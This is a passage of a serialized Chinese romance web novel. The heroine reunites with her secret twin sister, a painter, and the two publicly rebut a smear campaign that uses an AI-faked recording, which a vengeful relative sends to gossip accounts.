甚至买了一个和江晚絮长得有几分相似的充气娃娃,每天对着它说话。
“晚晚,你是我的……”
“你迟早会回来的……”
“顾彦廷那个疯子给不了你幸福,只有我,只有我知道你喜欢吃什么,知道你怕冷……”
这种阴暗的窥视,顾彦廷自然知道。
但他没有动叶寒。
“留着他。”顾彦廷是这么对林舟说的,“让他看着我们幸福,这才是对他最大的折磨。”
杀了他也太便宜他了。
第224章 双生花
京市,顾家老宅。
灯火通明,衣香鬓影。
今天是顾家小公主顾今安的百日宴。
整个京圈有头有脸的人物都来了,不仅是为了巴结顾彦廷,更是为了看一眼那位传说中的“晨曦家族顾问”、“伦理科技联盟主席”——江晚絮。
“哎哟,我的小乖乖,快让太奶奶抱抱!”
顾老太太穿着一身暗红色的唐装,满脸褶子笑得像朵花,小心翼翼地从江晚絮怀里接过那个粉雕玉琢的小团子。
“安安今天真乖,一声都没哭。”外婆坐在轮椅上,精神头却很好,手里攥着一个平安锁,那是她缝了三天三夜才做好的香囊袋子装的。
江晚絮看着这一幕,嘴角挂着淡淡的笑,眼神却有些恍惚。
她想起了自己小时候。
听外婆说,她百日那天,**嵩连家都没回,在外面陪着当时还是“秘书”的柳芸过生日。
家里冷锅冷灶,只有方颖抱着她,在空荡荡的别墅里坐了一夜。
“想什么呢?”
腰间突然多了一双温热的大手。
顾彦廷凑到江晚絮耳边,温热的气息喷洒在她的颈侧。
“我在想,”江晚絮回过神,指腹轻轻摩挲着左手无名指上的戒指,“安安真幸福。”
“那是必须的。”顾彦廷挑眉,语气里满是理所当然的傲娇,“也不看看她爹是谁。”
正说着,小安安在太奶奶怀里哼唧了一声,小嘴一扁,似是要哭。
“怎么了怎么了?是不是尿了?”
刚才还不可一世的京圈太子爷,瞬间脸色大变,长腿一迈就冲了过去,熟练地从口袋里掏出尿不湿,动作比月嫂还利索。
周围的宾客看得目瞪口呆。
谁能想到,那个手段狠辣、让人闻风丧胆的顾阎王,在家里竟然是个换尿布的高手?
江晚絮看着顾彦廷手忙脚乱却一脸幸福的样子,心里就暖暖的。
“晚絮。”
M姨不知何时走了过来,手里端着一杯红酒,目光慈爱。
“M姨。”江晚絮转身。
“下周在海市有个双年展,主题是‘科技与艺术’,主办方特意发函邀请你去做个开场演讲。”M姨递给她一张烫金的邀请函,“去散散心吧,这段时间你也累坏了。”
江晚絮接过邀请函,有些犹豫:“可是安安还小……”
“有我,有顾彦廷,还有这一大家子人,你怕什么?”M姨拍了拍她的手背,“你不仅是安安的妈妈,你还是江晚絮。以前你为了别人活,为了生存活,现在,该去看看外面的世界了。”
是啊。
以前她是江家的出气筒,是叶寒的血库,是实验室里的工具人。
她唯独不是她自己。
“好。”江晚絮收起邀请函,“我去。”
一周后,海市当代艺术馆。
巨大的落地窗外是波光粼粼的江景,馆内流淌着大提琴低沉的旋律。
江晚絮做完演讲,婉拒了几个科技大佬的晚宴邀约,独自一人漫步在展厅里。
这里的人很少,灯光也调得很暗。
正中间的墙上,挂着一幅巨大的油画,名字叫——《镜像深渊》。
江晚絮只看了一眼,脚步就像是被钉在了地上。
画里是一个女人的背影。
她赤裸着上身,脊背瘦骨嶙峋,肩胛骨像是一对折断的翅膀。
而在她的周围,是无数面破碎的镜子。
每一面镜子里,都映照着不同的伤痕:
有的镜子里,是手腕上深可见骨的割痕;
有的镜子里,是被抽血时留下的**;
有的镜子里,是膝盖上跪出来的淤青。
而最让江晚絮感到窒息的,是那个背影的后颈处,有一颗极小的、红色的痣。
那是她的痣。
那是她的背影。
那是……她曾经在地狱里挣扎的模样。
“这幅画,叫《镜像深渊》。”
一道清越的女声,突兀地在身旁响起。
江晚絮转头。
这一转,她感觉浑身的血液都倒流了。
站在她身边的,是一个穿着亚麻色长裙的女人。
她戴着一顶复古的贝雷帽
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,长发随意地卷着,脸上未施粉黛,却有一种惊心动魄的美。
最关键的是——
那张脸。
那眉眼,那鼻子,那嘴唇。
和江晚絮一模一样。
就像是她在照镜子。
但气质却截然不同。
江晚絮像是一块历经磨难、冷硬坚韧的冰;而眼前这个女人,却像是一阵自由的风,热烈、洒脱、充满了生命力。
两人并肩而立,同时看向对方。
时间仿佛在这一刻静止了。
周围的喧嚣声全部退去,只剩下彼此急促的心跳声。
“你……”江晚絮张了张嘴,声音干涩。
女人笑了。
那个笑容,明媚得让江晚絮觉得刺眼。
她大大方方地伸出手,手指修长,指甲上沾着一点洗不掉的颜料,带着一股好闻的松节油味道。
“你好,江晚絮。”
女人的声音很好听,带着一点法语的腔调,慵懒又迷人。
“正式介绍一下,我叫许甜。”
“也是你的……双胞胎姐姐。”
十分钟后,展馆附近的露天咖啡厅。
江晚絮捧着一杯热美式,指尖还在微微颤抖。
许甜坐在对面,姿态慵懒地靠在椅背上,手里拿着一根未点燃的细长女士烟,把玩着。
“不介意吧?”许甜指了指烟,“习惯动作,不抽。”
江晚絮摇摇头。
她还在消化这个足以震碎她世界观的消息。
双胞胎姐姐?
她在江家生活了二十多年,被骂扫把星,被骂克母,从来没人告诉过她,她还有个姐姐。
“我知道你在想什么。”
许甜放下烟,从随身的帆布包里拿出一个旧信封,推到江晚絮面前。
“这是妈妈留给我的,还有这个。”
她又拿出一块半圆形的玉佩。
江晚絮瞳孔一缩。
她下意识地从脖子上拽出那块她从小戴到大的玉佩。
两块玉佩放在一起。
严丝合缝。
原本残缺的凤凰图案,瞬间完整,栩栩如生。
第225章 或许真的活不到今天
“二十八年了。”
许甜看着那块完整的玉佩,眼中闪过一丝复杂的光芒,“终于合上了。”
“为什么?”江晚絮盯着许甜,“既然你是我的姐姐,既然你活着,为什么妈妈从来没说过?既然你活着,为什么从没找过我?为什么……要把我一个人留在那样的地狱里?”
她的声音有些失控。
她在质问。
质问命运,也在质问眼前这个光鲜亮丽的姐姐。
凭什么?
凭什么这一模一样的脸,一个在泥潭里挣扎求生,被抽血、被家暴、被羞辱;另一个却可以在阳光下画画,活得这么肆意潇洒?
许甜沉默了。
“晚晚。”
许甜伸出手,想要去握她的手,却**晚絮下意识地躲开了。
许甜的手僵在半空,苦笑一声收了回去。
“我出生后就去了法国。”
许甜缓缓开口,声音有些缥缈,“妈妈生我们的时候,是在一家私人诊所。她早就知道**嵩是个什么东西,也知道江家那个大染缸会**。”
“她怀孕四个月的时候,通过B超知道是双胞胎。”
江晚絮握着咖啡杯的手指收紧,指节泛白。
“妈妈怕江家容不下两个女儿,更怕……两个孩子都折在江家。”
许甜深吸了一口气,“所以,她做了一个决定。”
“她联系了她在法国最好的闺蜜,也就是我的养母,许知意。”
“生产那天,她买通了医生,只让**嵩看到了你。而我,连夜被许妈妈带走了,伪造了出生证明,成了许家的孩子。”
江晚絮的呼吸变得急促起来。
“为什么是我?”
她红着眼眶,声音都在发抖,“为什么被留下的是我?为什么被送走的……不是我?”
如果当年被送走的是她,她就不会经历那些噩梦。
不会为了讨好江家人在雪地里跪三个小时;
不会为了那一点点可笑的亲情,把自己的骨髓捐出去;
不会爱上那个根本没有心的叶寒。
她会像许甜一样,画画、旅行、看世界。
许甜闭了闭眼,从包里拿出一本日记本。
那是许知意的日记。
“妈妈在孕期做过一次基因检测。”
许甜翻开日记的一页,指着上面的一行字。
“你的基因标记,比我明显。”
江晚絮一愣。
“什么意思?”
“意思就是,你的基因里,遗传了晨曦家族那种特殊的、容易被追踪、也容易显露天赋的特质。”许甜看着她,“妈妈说,如果在江家这种环境下,一个普通的孩子可能会被养成废物,但一个有天赋的孩子,或许能杀出一条血路。”
“我是那个普通的。”许甜指了指自己,“我除了画画,对数字、科技一窍不通。如果留下来的是我,我可能早就死在柳芸的手里了。”
“妈妈用你做饵。”
许甜的声音很残酷,却也是事实,“她把你留在江家,吸引所有的火力,所有的恶意。因为她赌你有能力活下来。”
“而我,是她留下的退路。”
“如果有一天,你在江家活不下去了,或者江家彻底完蛋了,我就是那个干干净净的、延续她血脉的种子。”
江晚絮听着这些话,只觉得浑身发冷。
这就是母爱吗?
太理智了。
理智得近乎残忍。
“那我算什么?”江晚絮惨笑一声,眼泪顺着脸颊滑落,“我就是个挡箭牌?就是个牺牲品?”
“不。”
许甜抓住了江晚絮的手,这一次,她没有让她躲开。
许甜的手很暖,掌心有一层薄薄的茧,那是常年握画笔留下的。
而江晚絮的手,常年冰凉,手指上全是各种细小的化学试剂腐蚀的痕迹。
“妈妈在写给许妈妈的信里说,这是她这辈子最后悔、最痛心的决定。”
“你知道吗?我小时候一直不理解,为什么许妈妈从来不让我回国,为什么我看不到自己的亲生父母。”
许甜看着江晚絮的眼睛,“直到我十八岁那年,我知道了真相。”
“我哭着求许妈妈,我要回来找你,我要带你走。”
“可是许妈妈拒绝了。”
“她说,那时候的你,还在江家的掌控之中。如果我贸然出现,不仅救不了你,反而会把我也搭进去,甚至会让**嵩那个疯子发现真相,把你害死。”
“我只能等。”
许甜的眼眶也红了,“晚晚,你知道那种感觉吗?我在普罗旺斯的薰衣草花田里写生的时候,我在想,我的妹妹在干什么?她在受苦吗?”
“我在卢浮
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宫看展的时候,我在想,我的妹妹是不是正在被那个恶毒的后妈欺负?”
“我活得越自由,我就越愧疚。”
“我觉得我偷走了你的人生。”
江晚絮看着许甜。
看着那张和自己一模一样的脸,流露出那样真切的痛苦。
心里的不甘,突然就散了。
是啊。
怪谁呢?
怪许甜吗?她也是被安排的。
怪妈妈吗?她在那种绝境下,只能尽力保全一个。
要怪,只能怪江家那些畜生。
只能怪命运的不公。
“那幅画。”江晚絮声音沙哑,“《镜像深渊》,画的是我?”
“嗯。”
许甜点点头,“我虽然没见过你,但我找**偷偷拍过你的照片。我知道你受过的每一处伤。”
“我画那幅画,是因为我经常做噩梦。”
“梦里,我站在镜子前,镜子里的我全是伤口,在流血,在哭泣。”
“那是你。”
“那是我们在血脉里的感应。”
许甜紧紧握着江晚絮的手,“晚晚,对不起,姐姐来晚了。”
江晚絮一直忍着的眼泪,终于决堤。
她低下头,肩膀剧烈地耸动着。
这么多年。
她受了委屈只能自己吞,受了伤只能自己舔舐。
她习惯了坚强,习惯了不需要任何人。
可是现在,有一个人告诉她:我对不起你,我心疼你,我偷走了你的人生。
“你没有偷走。”
良久,江晚絮抬起头,擦干眼泪。
她的眼神重新变得坚定,那是历经风雨后的从容。
“许甜,你不用觉得愧疚。”
“如果你在江家,或许真的活不到今天。”
“而我……”
江晚絮转头看向窗外,远处,顾彦廷正抱着安安在江边散步,一大一小,画面温馨得让人想哭。
“我也不是全无收获。”
“那些苦难,把我锤炼成了现在的江晚絮。”
“如果我是你,如果我在法国长大,我也许会成为一个优秀的画家,但我绝不会成为现在的科学家,我也不会遇见顾彦廷,不会有安安。”
江晚絮反手握住许甜的手。
“妈妈没有问我们要不要一起长大。”
“但这不妨碍,我们会一起变老。”
第226章 她是无辜的
既然相认了,有些流程还是得走的。
比如,见家长。
当顾彦廷抱着孩子,看到江晚絮领着一个和她长得一模一样、但穿衣风格完全不同的女人走过来时,这位泰山崩于前而面不改色的顾总,第一次露出了见鬼的表情。
“这……”
顾彦廷看看江晚絮,又看看许甜,最后低头看了看怀里的女儿。
“安安,你看,有两个妈妈?”
小安安瞪大了乌溜溜的眼睛,左看看,右看看,最后果断朝着江晚絮伸出手。
还是亲闺女认得准。
“顾彦廷,介绍一下。”江晚絮挽着许甜的胳膊,脸上是顾彦廷从未见过的轻松,“这是许甜,我的双胞胎姐姐。”
“姐姐?”顾彦廷挑眉。
“你好,妹夫。”许甜笑眯眯地打招呼,“久仰大名,听说你以前挺混蛋的?”
顾彦廷:“……”
这大姨子,怎么一来就揭短?
“以前是以前。”顾彦廷求生欲极强地搂住江晚絮的腰,“我现在可是二十四孝好老公。”
许甜啧了一声,上下打量了顾彦廷一番。
“皮囊不错,勉强配得上我们家晚晚。”
“不过……”
许甜话锋一转,眼神变得犀利起来,“顾总,虽然我是个画画的,手里没什么权势。但我在国际艺术圈还是认识不少人的。”
“你要是敢欺负晚晚,我就在你家别墅的墙上画满诅咒符文,让你天天做噩梦。”
顾彦廷嘴角抽了抽。
“不敢。”
“那就好。”
许甜也是个爽快人,既然认了亲,那就不见外了。
她从包里掏出一个精致的小盒子,递给顾彦廷怀里的安安。
“来,给安安的见面礼。”
顾彦廷打开一看。
是一张**。
而且是瑞士银行的无限透支**。
“密码是晚晚的生日。”许甜耸耸肩,“我这些年画画赚了不少钱,也没处花。我不像晚晚那么聪明能搞科研,俗人一个,只能给点俗物了。”
顾彦廷:“……”
这凡尔赛的味道,果然是亲姐妹。
接下来的几天,许甜就在顾家住下了。
顾老太太和外婆对于这个突然冒出来的大孙女/外孙女,那是稀罕的不得了。
尤其是外婆,拉着许甜的手就不松开,一边哭一边摸她的脸,嘴里念叨着:“好啊,好啊,都活着就好……”
许甜虽然从小在国外长大,但性格却意外地讨喜。
她会给外婆画素描,会陪顾老太太听戏,还会教小安安用法語叫“甜甜阿姨”。
而对于江晚絮来说,这几天是她这辈子最奇妙的体验。
早晨起来,洗漱台前站着两个一模一样的人。
一个刷牙动作雷厉风行,一个慢条斯理。
“晚晚,你这眼霜不行,太干了,用我这个。”
“姐,你这裙子太短了,京市风大,会吹感冒的。”
这种琐碎的、带着烟火气的唠叨,填补了江晚絮生命中缺失的拼图。
晚上,两人挤在一张床上。
顾彦廷被无情地丢在了主卧,怨念颇深。
“晚晚,你知道吗?”
许甜侧躺着,借着月光看着江晚絮,“我这辈子最遗憾的事,就是没有参与你的过去。”
“不遗憾。”
江晚絮闭着眼睛,嘴角微扬,“你现在来了,就是最好的时候。”
“对了。”许甜像是想起了什么,突然坐起来,“江家那些人,都遭报应了吧?”
“嗯。”
江晚絮把江明宇**、江芊妤疯了、柳芸瘫痪、江明泽卖烤冷面的事,简单说了一遍。
许甜听完,沉默了许久。
“那个江明哲呢?”许甜问,“听说他现在在欧洲?”
“嗯,他在帮晨曦家族做事,我也算给了他一条生路。”
“哼,便宜他了。”
许甜冷哼一声,“要在我的画里,这种墙头草,就该被挂在悬崖上风干。”
江晚絮笑了笑,没说话。
她已经放下了。
两天后,顾氏集团。
顾彦廷坐在老板椅上,看了一眼桌子上放着的文件。
那是一份DNA亲缘鉴定报告。
样本A是江晚絮梳妆台上的一根头发。
而样本
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B,则是前天晚上许甜喝过的咖啡杯上残留的唾液。
“顾总,”林舟毕恭毕敬地说,“经过三次比对,确认须田小姐与夫人的亲缘关系高达99%。从生物学角度来说,她们确实是同卵双胞胎姐妹。”
顾彦廷没说话。
真是亲姐姐。
不是整容怪,也不是商业间谍,更不是涅墨西斯的余孽假扮的。
“查过背景了吗?”顾彦廷把鉴定报告扔到一边,眼神依旧没有放松。
他在这个圈子里摸爬滚打这么多年,见过太多太多血脉至亲的背叛。
江晚絮好不容易才从江家爬出来,刚过上几天安生日子,他绝不允许任何人——哪怕是所谓的亲姐姐成为新的隐患。
“查了。”
林舟从公文包里拿出另一叠厚厚的资料,放在顾彦廷面前。
“许甜小姐的人生轨迹……非常干净。”
顾彦廷挑眉,翻开了文件。
资料很详尽,许甜从小到大,小学、中学、大学的每一张成绩单,甚至是她第一次在巴黎街头卖画的照片都有。
“巴黎国立高等美术学院全额奖学金录取,师从当代油画大师。25岁时一举成名,代表画作被蓬皮杜艺术中心收藏。”
林舟一边解说,一边观察顾彦廷的脸色,“她的生活圈子非常简单,除了画画就是旅游。现任男友是一位意大利古籍修复师,两人交往三年,感情很稳定。”
顾彦廷将手指停留在许甜养母那一栏。
林舟留意到了他的动作,继续开口。
“我们特意去查了这位许女士,她是著名的华裔慈善家,终身未婚。名下基金会资助了上千名孤儿。最重要的是,我们找到了当年江大的校友录,证实了许知意确实是方伯母的大学室友。两人关系极好,曾经被称为‘江大双姝’。”
一切都对得上。
逻辑严丝合缝,证据完整无缺。
但顾彦廷却不敢放松警惕。
“账户资金来往也查过了,没有任何大额不明资金,也没有与任何可疑组织之间的联系记录。”林舟合上文件夹,“看来,许甜小姐真的是无辜的。”
第227章 私生女
顾彦廷沉默了良久。
他转过椅子,看向窗外灰蒙蒙的天空。
“无辜?”
他冷笑一声,“在这个世界上,只有**才是绝对无辜的。”
如果是以前,他可能不会这么草木皆兵。
但现在不一样。
现在他有了江晚絮,有了安安,必须谨慎。
“林舟。”顾彦廷突然开口。
“在。”
“派两组人,二十四小时盯着许甜。”顾彦廷转过身,眼神冰冷,“只要她有一点点伤害晚絮的苗头,不管她是不是亲姐姐,直接介入。”
林舟心头一凛:“是。可是太太那边……”
“别让她知道。”顾彦廷单手支着下巴,“她心软,好不容易有个亲人,正高兴着呢。这种恶人,我来做就行。”
另一边。
老城区的一条破败小巷里。
“你这烤冷面怎么做的?退钱!”
一个纹着花臂的大汉把一份吃了一半的烤冷面狠狠摔在铁板上,酱汁溅了江明泽一身。
“对不起,对不起……”
江明泽低着头,卑微地赔着笑脸,手忙脚乱地从腰包里掏出几张皱巴巴的零钱,“大哥,这钱退给您,您消消气……”
“晦气!什么玩意儿!”
大汉骂骂咧咧地走了,临走前还往他的摊位上吐了一口。
江明泽攥着手里的铲子,手背上的青筋暴起。
他恨。
恨这个世界,更恨那个把他害成这副鬼样子的江晚絮!
如果不是因为江晚絮,江家怎么会破产?
如果不是因为江晚絮,他怎么会从高高在上的江大少爷,沦落到在这个地步?
“嗡——”
口袋里的手机震动了一下。
江明泽木然的掏出手机。
他现在唯一的乐趣,就是上网看看能不能找到什么翻身的机会,或者单纯地看看有没有人能弄死江晚絮。
突然,一条新闻弹窗跳了出来。
《天才旅法画家许甜归国首展:震撼艺术界!》
江明泽本想划走,他对艺术一窍不通。
但当他的视线扫过配图时,整个人像被雷劈了一样,僵在了原地。
照片上,是一个穿着亚麻长裙的女人,正站在画作前接受采访。
那张脸……
“江晚絮……”
江明泽的喉咙里发出咯咯的声响,像是厉鬼的磨牙声,“你怎么会在这里……你不是应该在带孩子吗?”
不对。
他仔细看了看标题。
许甜?
旅法画家?
江明泽的手指颤抖着点开大图。
虽然长得一模一样,但这气质确实不同。江晚絮总是一副苦大深仇、**全家的样子,看着就让人倒胃口。而这个许甜,笑得那么灿烂,眼神那么干净。
“双胞胎……”
江明泽脑子转得飞快。
作为曾经的高知分子,他瞬间就联想到了其中的关窍。
妈妈当年竟然生的是双胞胎!
“哈哈哈……哈哈哈哈哈!”
江明泽突然在充满了油烟味的小巷里狂笑起来,笑得眼泪都出来了。
周围的路人像看疯子一样看着他。
“天助我也……真是天助我也!”
江明泽盯着屏幕上许甜那张光鲜亮丽的脸,眼中闪烁着恶毒的光芒。
这哪里是两个人?
这分明是两个完美的对照组!
一个是在国内受尽苦难、满手鲜血才爬上位的“复仇女”;
一个是流落海外、纯洁无瑕、才华横溢的“白莲花”。
既然是一模一样的脸,那能不能……利用这个冒出来的妹妹,再给江晚絮那个**致命一击?
江明泽关掉摊位的火,也不管还没卖完的冷面,拿着手机缩回了身后那个只有五平米的阴暗出租屋。
屋里只有一张破床,一台除了上网什么都干不了的旧电脑。
他打开电脑,熟练地登录了一个他在国外注册的匿名账号。
他的手指在键盘上飞快地敲击着,脸上带着扭曲的快意。
“江晚絮,你以为你赢了吗?”
“你以为你傍上了顾彦廷,就可以高枕无忧了吗?”
十分钟后。
几个拥有百万粉丝的娱乐营销号,同时收到了一封匿名爆料邮件。
邮件标题耸人听闻:
【独家猛料!天才女科学家江晚絮竟然有个双胞胎姐姐?疑生母私生女,姐妹关系势同水火!】
而在邮件的附件里,还有一段经过AI合成的、足以以假乱真的“采访录音”。
录音里,“许甜”的声音带着哭腔和愤怒:
“……我不想提她。是的,她是我的妹妹,但我们不是一路人。当年她在江家享福的时候,有人问过我在国外过得怎么样吗?现在她发达了,就把江家害得家破人
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亡……那毕竟是养育她的地方啊,她怎么能这么冷血?”
江明泽靠在椅背上,看着屏幕上显示的“发送成功”,感觉到前所未有的快意。
谣言,往往比真相跑得更快。
尤其是这种充满了豪门恩怨、姐妹反目、伦理道德的狗血剧本,正是那些无脑网民最爱吃的瓜。
尽管诋毁江晚絮的谣言已经传了无数次,但吃瓜群众和键盘侠,最喜欢的就是这样无休止的丑闻,不是吗?
顾家别墅。
江晚絮正坐在地毯上,给安安唱儿歌。
许甜盘腿坐在旁边的沙发上,手里拿着速写本,正在给母女俩画速写。
“晚晚,你这侧脸线条真绝。”许甜一边画一边感叹,“这骨相,不画下来简直是暴殄天物。”
江晚絮无奈地笑了笑:“姐,你都画了一早上了,歇会儿吧。”
“我不累。”许甜咬着笔头,眼睛亮晶晶的,“以前我想画你只能靠想象,现在**在面前,我可得好好珍惜。”
气氛温馨而美好。
直到江晚絮放在茶几上的手机突然疯狂震动起来。
“怎么了?”
江晚絮拿起手机,是M姨打来的。
“喂,M姨?”
“晚絮,别看网上的消息!”M姨的声音听起来很焦急,甚至带着一丝平时少有的慌乱,“千万别看!把手机关机,听到了吗?”
江晚絮心里咯噔一下。
但还是忍不住吐槽:你都这样说了,那我肯定会看啊……
所以,她不仅没有关机,反而下意识地点开了微博热搜。
#江晚絮双胞胎姐姐曝光#
#江晚絮冷血弃亲#
#许甜控诉妹妹#
三个词条,牢牢占据了热搜前三。
随便点开一个,里面的评论简直不堪入目。
【天哪,原来江晚絮还有个姐姐?长得一模一样诶!】
【这姐姐看着好有气质,比江晚絮那个死鱼脸强多了。】
【听录音了吗?姐姐说江晚絮在江家享福?我在想,之前江晚絮卖惨说自己被**,是不是都是编的啊?毕竟死无对证。】
【这就是典型的白眼狼吧?把自己亲爹搞进监狱,把自己亲哥气死,现在连双胞胎姐姐都看不下去了。】
【知情人爆料:这姐妹俩根本就是私生女,从小被送走的,江晚絮是为了独吞家产才不想认她!】
第228章 不要害怕
“啪!”
手机从江晚絮手里滑落,重重地砸在地毯上。
小安安被吓了一跳,“哇”的一声哭了出来。
“安安!”
江晚絮连忙手忙脚乱地哄着。
那种感觉又来了。
那种被全世界指责、被万人唾骂、百口莫辩的窒息感。
“晚晚!”
许甜扔下画笔,冲过来一把捡起手机。
她只看了一眼屏幕,脸色瞬间沉了下来。
“这都什么乱七八糟的?”
许甜点开那段所谓的“录音”。
听着那个AI合成的声音说着那些颠倒黑白的话,许甜气得笑出了声。
“享福?冷血?”
许甜看向脸色惨白的江晚絮,心疼得像被针扎一样。
她走过去,蹲在江晚絮面前,强行把还在发抖的江晚絮连同安安一起抱住。
“别怕。”
许甜的声音很轻,却很坚定,“晚晚,看着我。这不是真的,这都是假的。”
“可是……”江晚絮抬起头,眼眶通红,“他们都在骂你。他们说我们是私生女,说妈妈……”
她不在乎自己被骂。
反正她已经被骂习惯了。
虱子多了不痒,债多了不愁。
可是许甜不一样。
许甜是干净的,是生活在阳光下的艺术家。她不该卷进这团烂泥里,不该被这些恶毒的语言攻击。
“是我连累了你……”江晚絮哽咽着,“我就知道,只要跟我沾上边,就不会有好事。我是个扫把星,我是……”
“闭嘴!”
许甜突然厉喝一声。
江晚絮愣住了。
虽然两人没有接触多久,但许甜是个很温和的人,这还是她第一次这么凶。
“江晚絮,你给我听清楚了。”许甜捧着她的脸,“你是我的妹妹,是我在这个世界上唯一的血亲。什么扫把星?那是江家那些畜生给你洗脑用的!”
“至于骂我?”
许甜不屑地哼了一声,随手把手机扔到沙发上,“我在法国的时候,连那种满身酒气、拿着刀的流浪汉都敢骂回去。这点网络喷子算什么?”
这时候,顾彦廷回来了。
他显然也看到了热搜,脸色黑得像锅底,眼神里透着要**的戾气。
“顾彦廷……”江晚絮看到他,眼泪终于忍不住掉了下来。
顾彦廷大步走过来,直接单膝跪地,把江晚絮搂进怀里。
“没事了,我在。”
他的手掌轻轻拍着江晚絮的后背,声音温柔得不像话,但转头看向林舟时,眼神却冷得能掉冰渣子。
“查到了吗?”
林舟站在门口,额头上全是冷汗:“查到了。IP地址虽然经过多层加密,但技术部追踪到了最后的一跳,是老城区的一个出租屋。使用者是……江明泽。”
“江明泽。”
顾彦廷咬牙切齿。
“我就不该留着他。”
既然他自己找死,那就怪不得别人了。
“把热搜撤了。”顾彦廷冷冷下令,“所有转发过这条谣言的营销号,全部发律师函。至于江明泽……”
“慢着。”
一直没说话的许甜突然开口。
顾彦廷皱眉看向她。
虽然确认了DNA,但他对这个突然出现的姐姐还是心存芥蒂,尤其是这次风波还是因她而起。
“你想干什么?”顾彦廷语气不善。
许甜站起身,理了理有些凌乱的长裙。
“顾总,你现在撤热搜,只会让人觉得心虚。”
许甜走到顾彦廷面前,毫不畏惧地直视着这位令人闻风丧胆的京圈太子爷。
“他们不是说我控诉妹妹冷血吗?不是说我想分家产吗?”
许甜笑了。
笑的肆意张扬。
“明天正好是我的画展开幕式,也是记者招待会。”
“既然他把舞台都搭好了,我要是不上去唱这出戏,岂不是辜负了他的一番苦心?”
江晚絮担心地拉住许甜的手:“姐,你想干什么?那些记者很难缠的。”
“难缠?”
许甜反手握住江晚絮冰凉的手指,轻轻捏了捏。
“晚晚,你记住。”
“你姐姐我
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在国外这么多年,学画画之前,先学会的是怎么打架。”
“明天,我就让所有人看看,到底谁才是真正的冷血。”
次日,当代艺术馆。
原本只是一场艺术圈的盛会,因为昨天那场突如其来的网络风暴,硬生生变成了全城瞩目的焦点。
展馆门口被围得水泄不通。
**短炮架得到处都是,娱乐记者、狗仔、网红博主,一个个像是闻到了血腥味的鲨鱼,挤破了头想往里钻。
“来了来了!许甜的车来了!”
不知是谁喊了一声,人群瞬间骚动起来。
一辆黑色的轿车缓缓停在红毯尽头。
车门打开。
首先伸出来的,是一双穿着黑色马丁靴的腿。
紧接着,许甜走了下来。
今天她没有穿那种文艺范的长裙,而是穿了一身利落的黑色连体工装裤,腰间系着一条宽大的皮带,勾勒出纤细的腰身。长发高高扎起,涂着复古红唇,脸上架着一副巨大的墨镜。
这一身打扮,不像是个画家,倒像是个来砸场子的摇滚明星。
“许小姐!请问网上的爆料是真的吗?”
“您和江晚絮真的是江家的私生女吗?”
“您对妹妹江晚絮不管江家死活有什么看法?”
“您真的恨江晚絮吗?”
无数个话筒瞬间戳到了许甜面前,闪光灯疯狂闪烁,刺得人眼睛生疼。
跟在许甜身后的江晚絮,下意识地瑟缩了一下。
她今天特意陪姐姐来,虽然顾彦廷安排了几十个保镖围成人墙,但面对这种千夫所指的场面,那种刻在骨子里的恐惧还是让她感到窒息。
许甜没有回头,只是握紧了江晚絮的手,像是要把所有的力量都传递给她。
“别低头。”
许甜的声音不大,却很坚定。
“晚晚,你没有做错任何事。”
“把头抬起来。”
江晚絮深吸一口气。
是啊。
她有姐姐,有顾彦廷,有安安。
主动权明明在她手里,她为什么要害怕?
第229章 认祖归宗
江晚絮慢慢直起腰背,虽然脸色依旧有些苍白,但眼神已经不再躲闪。
两人一路走进主展厅。
台上,巨大的背景板上印着这次画展的主题——《镜像深渊》。
许甜大步走上台,摘下墨镜,随手挂在领口。
她没有坐下,而是直接拿起麦克风,目光扫视全场。
那种强大的气场,竟然让嘈杂的现场瞬间安静了几秒。
“我知道你们今天是来干什么的。”
许甜开口了,声音清冷,带着一丝嘲讽,“不是来看画的,是来看戏的,对吧?”
台下的记者们面面相觑,有的尴尬,有的兴奋。
“既然大家这么关心我的家事,那我就一次性说清楚。”
许甜指了指身后那幅巨大的油画《镜像深渊》。
画里那个伤痕累累的背影,在聚光灯下显得触目惊心。
“关于那个所谓的‘录音’。”
许甜冷笑一声,“现在的AI技术确实发达,合成得挺像。不过,制造那个录音的**概不知道一件事。”
她顿了顿,目光变得锐利如刀。
“我从小在法语区长大,我的中文发音,平舌翘舌不分。而录音里那个人,普通话标准的能去考一级甲等。”
台下发出一阵哄笑声。
躲在出租屋看直播的江明泽,听到这句话,气得差点把键盘砸了。
百密一疏!该死!
“至于我们俩是不是私生女……”
许甜说到这,脸上的笑容消失了。
“这个问题,你们不该问我,应该去问问那个瘫痪的柳芸。”
“二十八年前,我的母亲方颖,怀着双胞胎。她的医生朋友告诉她,江家重男轻女,而且那个家里充满了算计和**。”
“为了保住至少一个孩子,母亲不得不把我送走。”
全场哗然。
这个版本,和网上流传的“私生女争产”完全是两个极端。
“你们问我恨不恨江晚絮?”
许甜转过身,看向站在台侧的江晚絮。
她的眼神瞬间柔和了下来。
“我恨。”
台下的记者瞬间举起相机,以为抓到了大新闻。
“我恨我自己回来得太晚。”
许甜的声音有些哽咽,“我恨我在国外画画、看展、享受人生的时候,我的妹妹正在被抽血、被毒打、被当成工具!”
“我恨那个所谓的‘家’,像吸血鬼一样吸干了她的骨髓!”
许甜猛地转过身,指着台下那些还在直播的镜头,声音陡然拔高:
“你们说她冷血?说她对江家见死不救?”
“如果是你们,被亲生父亲剥夺**,被亲兄弟推下楼梯,被逼着给那个绿茶妹妹捐骨髓……你们还会笑着去救他们吗?”
“这不叫冷血,这叫正当防卫!这叫报应!”
全场一片安静。
只有快门声偶尔响起。
“至于江家……”
许甜深吸一口气,嘴角勾起一抹极度不屑的冷笑。
“我不姓江,我姓许。”
“我的户口本上,只有我和我的养母许知意。”
“江家的财产?江家的死活?”
她耸耸肩,做了一个非常法国式的摊手动作。
“关我屁事。”
“再说了,现在的江家,有什么值得我争的?”
“我这次回来,只有两件事。”
“第一,办画展。”
“第二,谁要是再敢欺负我妹妹……”
许甜突然从口袋里掏出一支画笔,在空中虚虚一划,眼神凌厉得让人心惊。
“我就让他知道,什么叫真正的‘泼墨’。”
直播间彻底炸了。
【**!姐姐太飒了吧!】
【我不姓江,我姓许!关我屁事!这句话简直是吾辈楷模!】
【原来是为了保命才被送走的……天哪,方阿姨当年得多绝望啊。】
【呜呜呜,那句“我恨我回来得太晚”真的把我看哭了,这才是亲姐妹啊!】
【那个造谣的人**!居然用AI合成录音,太恶毒了!】
【江晚絮真的太惨了,之前被全网黑,现在好不容易有了姐姐还要被黑。】
【只有我觉得顾总在旁边看姐姐的眼神很像是看“友军”吗?】
**的风向,在短短半小时内发生了惊天逆转。
这种事情也不是一次两次了,读者们可以自行想象……
